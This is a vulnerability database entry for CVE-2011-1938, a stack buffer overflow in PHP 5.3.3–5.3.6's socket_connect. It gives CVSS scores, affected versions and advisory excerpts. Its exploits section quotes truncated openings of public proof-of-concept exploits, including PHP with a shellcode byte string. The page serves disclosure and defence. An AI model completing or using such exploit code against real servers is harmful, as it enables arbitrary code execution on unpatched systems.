7.5
CVSSv2

CVE-2011-1938

Published: 31/05/2011 Updated: 17/08/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 760
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c in PHP 5.3.3 up to and including 5.3.6 might allow context-dependent malicious users to execute arbitrary code via a long pathname for a UNIX socket.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

php php 5.3.4

php php 5.3.5

php php 5.3.3

php php 5.3.6

Vendor Advisories

Several security issues were fixed in PHP ...
Several vulnerabilities have been discovered in PHP, the web scripting language The Common Vulnerabilities and Exposures project identifies the following issues: CVE-2011-1938 The UNIX socket handling allowed attackers to trigger a buffer overflow via a long path name CVE-2011-2483 The crypt_blowfish function did not properly handle 8-bit ...
PHP before 537 does not properly check the return values of the malloc, calloc, and realloc library functions, which allows context-dependent attackers to cause a denial of service (NULL pointer dereference and application crash) or trigger a buffer overflow by leveraging the ability to provide an arbitrary value for a function argument, related ...

Exploits

<?php // Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian // Affected Versions: 533-536 echo "[+] CVE-2011-1938"; echo "[+] there we go\n"; define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3"); define('EVIL_SPACE_SIZE', 1024*1024*8); $SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0" "\ ...
<?php /* ** Jonathan Salwan - @jonathansalwan ** shell-stormorg ** 2011-06-04 ** ** cvemitreorg/cgi-bin/cvenamecgi?name=CVE-2011-1938 ** ** Stack-based buffer overflow in the socket_connect function in ext/sockets/socketsc ** in PHP 533 through 536 might allow context-dependent attackers to execute arbitrary ** code via a ...
PHP socket connect() stack buffer overflow proof of concept code ...
PHP version 536 proof of concept buffer overflow exploit ...